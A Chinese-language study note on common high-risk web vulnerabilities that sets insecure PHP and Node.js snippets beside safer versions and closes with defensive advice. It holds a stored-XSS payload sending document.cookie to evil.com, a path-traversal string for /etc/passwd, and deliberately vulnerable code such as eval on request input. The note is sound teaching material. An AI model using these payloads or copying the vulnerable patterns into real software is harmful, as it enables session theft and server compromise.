常见的高危Web安全漏洞
#前端安全
目录
- 1. 总结
- 2. SQL 注入 (SQL Injection)
- 3. 远程代码执行 (RCE - Remote Code Execution)
- 4. 文件包含漏洞 (File Inclusion)
- 5. 跨站脚本 (XSS - Cross-Site Scripting)
- 6. 文件上传漏洞
- 7. SSRF (Server-Side Request Forgery)
- 8. 反序列化漏洞
- 9. 权限控制缺陷
- 10. 安全配置错误
- 11. 敏感信息泄露
- 12. 接口安全漏洞
- 13. 业务逻辑漏洞
- 14. 配置和环境安全
- 15. 防护建议
1. 总结
- SQL 注入
- 远程代码执行
- 文件上传漏洞
- 服务器请求伪造:SSRF (Server-Side Request Forgery)
- 权限控制缺陷
- 越权访问
- 暴力遍历
- 比如
companyId
为 0,1,2,我暴力遍历之
- 比如
- 未授权访问
- 安全相关
- 敏感信息泄露
- 接口响应中的敏感数据
- 比如==身份证号,手机号需要脱敏==
- 错误信息泄露
- 详细的堆栈信息…
- 甚至
Database connection failed: mysql://root:password@localhost:3306/db
- 包含 token 等信息
- 环境变量泄露
- 调试信息泄露
2. SQL 注入 (SQL Injection)
2.1. 危害级别:严重
- 可直接访问/操作数据库
- 可能导致数据泄露
- 可能导致数据被篡改
2.2. 示例漏洞代码:
// 不安全的查询
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
// 安全的查询(使用参数化)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
3. 远程代码执行 (RCE - Remote Code Execution)
3.1. 危害级别:严重
- 可在服务器上执行任意代码
- 可能导致服务器被完全控制
3.2. 示例漏洞代码:
// 危险的代码
eval($_GET['code']);
// 不安全的系统命令执行
system("ping " . $_GET['ip']);
4. 文件包含漏洞 (File Inclusion)
4.1. 本地文件包含 (LFI)
// 危险的包含
include($_GET['page'] . ".php");
// 可能导致敏感文件泄露
/index.php?page=../../../etc/passwd
4.2. 远程文件包含 (RFI)
// 危险的远程包含
include("http://" . $_GET['url']);
5. 跨站脚本 (XSS - Cross-Site Scripting)
5.1. 反射型 XSS
<!-- 不安全的输出 -->
<div>Welcome <?php echo $_GET['name']; ?></div>
<!-- 安全的输出 -->
<div>Welcome <?php echo htmlspecialchars($_GET['name']); ?></div>
5.2. 存储型 XSS
// 数据库中存储的恶意脚本
<script>
new Image().src = 'http://evil.com/steal.php?cookie=' + document.cookie;
</script>
5.3. DOM型 XSS
// 不安全的 DOM 操作
document.getElementById('div').innerHTML = location.hash.substring(1);
6. 文件上传漏洞
6.1. 危害级别:高
- 可上传恶意文件
- 可能导致代码执行
6.2. 示例:
// 不安全的文件上传
move_uploaded_file($_FILES['file']['tmp_name'],
'/uploads/' . $_FILES['file']['name']);
// 安全的文件上传
$allowed = ['jpg', 'png', 'gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($ext, $allowed)) {
// 处理上传
}
7. SSRF (Server-Side Request Forgery)
7.1. 危害级别:高
- 可访问内网资源
- 可绕过防火墙
7.2. 示例:
// 不安全的实现
$url = $_GET['url'];
$content = file_get_contents($url);
// 安全的实现
$allowedHosts = ['api.example.com'];
$host = parse_url($url, PHP_URL_HOST);
if (in_array($host, $allowedHosts)) {
$content = file_get_contents($url);
}
8. 反序列化漏洞
8.1. 危害级别:高
- 可能导致代码执行
- 可能导致数据泄露
8.2. 示例:
// 不安全的反序列化
$data = unserialize($_GET['data']);
// 安全的实现
$data = json_decode($_GET['data'], true);
9. 权限控制缺陷
9.1. 越权访问
// 不安全的实现
$userId = $_GET['id'];
$data = getUserData($userId);
// 安全的实现
if (isAuthorized($currentUser, $userId)) {
$data = getUserData($userId);
}
9.2. 未授权访问
// 需要添加认证检查
function adminPanel() {
if (!isAdmin()) {
die('Unauthorized');
}
// 管理面板代码
}
10. 安全配置错误
10.1. 敏感信息泄露
# 不安全的 Nginx 配置
location ~ \.git {
# 没有限制访问
}
# 安全的配置
location ~ \.git {
deny all;
}
10.2. 默认配置
# 危险的 Apache 配置
Options Indexes FollowSymLinks
# 显示目录列表
11. 敏感信息泄露
11.1. 接口响应中的敏感数据
// 不安全的接口响应
{
"username": "zhang_san",
"mobile": "13800138000",
"idCard": "310123199001011234", // 身份证号
"bankCard": "6222021234567890", // 银行卡号
"password": "md5_hash", // 密码哈希
"salt": "abc123", // 密码盐值
"sessionToken": "xyz789" // 会话令牌
}
// 安全的接口响应
{
"username": "zhang_san",
"mobile": "138****8000", // 脱敏处理
"idCard": "310123********1234", // 脱敏处理
"bankCard": "6222**********7890" // 脱敏处理
}
11.2. 错误信息泄露
// 不安全的错误响应
{
"error": "Database connection failed: mysql://root:password@localhost:3306/db",
"stackTrace": "详细的堆栈信息...",
"sqlQuery": "SELECT * FROM users WHERE id = 123"
}
// 安全的错误响应
{
"error": "System error",
"code": "DB_001",
"requestId": "req_abc123" // 用于日志追踪
}
12. 接口安全漏洞
12.1. 接口未授权访问
// 不安全的接口
app.get('/api/user/info', (req, res) => {
const userId = req.query.id;
return getUserInfo(userId);
});
// 安全的接口
app.get('/api/user/info', authenticate, (req, res) => {
const userId = req.user.id; // 只能访问自己的信息
return getUserInfo(userId);
});
12.2. 批量请求漏洞
// 可能导致信息泄露的批量查询
app.post('/api/users/batch', (req, res) => {
const userIds = req.body.ids;
return getAllUsersInfo(userIds); // 可能被用来枚举用户信息
});
// 安全的实现
app.post('/api/users/batch', authenticate, (req, res) => {
const userIds = req.body.ids;
if (userIds.length > 100) {
return res.status(400).json({ error: 'Too many requests' });
}
// 检查权限
if (!canAccessUsers(req.user, userIds)) {
return res.status(403).json({ error: 'Forbidden' });
}
return getAllUsersInfo(userIds);
});
12.3. 接口频率限制缺失
// 添加速率限制中间件
const rateLimit = require('express-rate-limit');
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15分钟
max: 100, // 限制每个IP 100次请求
message: 'Too many requests from this IP'
});
app.use('/api/', apiLimiter);
13. 业务逻辑漏洞
13.1. 订单金额篡改
// 不安全的订单处理
app.post('/api/order', (req, res) => {
const { productId, price, quantity } = req.body;
const total = price * quantity; // 直接使用前端传来的价格
});
// 安全的订单处理
app.post('/api/order', (req, res) => {
const { productId, quantity } = req.body;
const product = await Product.findById(productId);
const total = product.price * quantity; // 使用后端查询的价格
});
13.2. 越权操作
比如
companyId
为 0,1,2,我暴力遍历之
// 不安全的数据访问
app.get('/api/company/:companyId/employees', (req, res) => {
const employees = await Employee.find({
companyId: req.params.companyId
});
return employees;
});
// 安全的数据访问
app.get('/api/company/:companyId/employees', authenticate, (req, res) => {
// 检查用户是否有权限访问该公司数据
if (!await hasCompanyAccess(req.user, req.params.companyId)) {
return res.status(403).json({ error: 'Forbidden' });
}
const employees = await Employee.find({
companyId: req.params.companyId
});
return employees;
});
14. 配置和环境安全
14.1. 环境变量泄露
// 不安全的配置接口
app.get('/api/config', (req, res) => {
return {
dbUrl: process.env.DB_URL,
apiKeys: process.env.API_KEYS,
secretKey: process.env.SECRET_KEY
};
});
// 安全的配置接口
app.get('/api/config', (req, res) => {
return {
apiVersion: '1.0',
environment: process.env.NODE_ENV,
features: ['feature1', 'feature2']
};
});
14.2. 调试信息泄露
// 生产环境禁用调试信息
if (process.env.NODE_ENV === 'production') {
app.set('env', 'production');
app.disable('x-powered-by');
app.use(morgan('combined')); // 使用简化的日志
} else {
app.use(morgan('dev')); // 开发环境使用详细日志
}
15. 防护建议
15.1. 数据脱敏处理
// 通用脱敏函数
function maskSensitiveData(data, type) {
switch(type) {
case 'mobile':
return data.replace(/(\d{3})\d{4}(\d{4})/, '$1****$2');
case 'idCard':
return data.replace(/(\d{6})\d{8}(\d{4})/, '$1********$2');
case 'email':
return data.replace(/(.{3}).*(@.*)/, '$1***$2');
// 更多类型...
}
}
15.2. 响应数据过滤
// 过滤敏感字段
function filterSensitiveFields(data) {
const sensitiveFields = ['password', 'salt', 'token', 'secretKey'];
if (typeof data === 'object') {
return Object.keys(data).reduce((acc, key) => {
if (!sensitiveFields.includes(key)) {
acc[key] = data[key];
}
return acc;
}, {});
}
return data;
}
15.3. 接口访问控制
// 访问控制中间件
function accessControl(resource) {
return async (req, res, next) => {
const user = req.user;
const resourceId = req.params.id;
try {
const hasAccess = await checkAccess(user, resource, resourceId);
if (!hasAccess) {
return res.status(403).json({
error: 'Access denied',
code: 'FORBIDDEN'
});
}
next();
} catch (error) {
next(error);
}
};
}
15.4. 日志审计
// 审计日志中间件
function auditLog(req, res, next) {
const startTime = Date.now();
// 响应完成后记录日志
res.on('finish', () => {
const duration = Date.now() - startTime;
logger.info({
method: req.method,
path: req.path,
userId: req.user?.id,
ip: req.ip,
duration,
status: res.statusCode
});
});
next();
}
15.5. 安全检查清单
- 检查所有接口的授权要求
- 实施数据访问控制
- 对敏感数据进行脱敏处理
- 实施接口调用频率限制
- 记录关键操作审计日志
- 定期进行安全测试
- 监控异常访问模式
- 实施数据加密传输
- 配置适当的CORS策略
- 使用HTTPS传输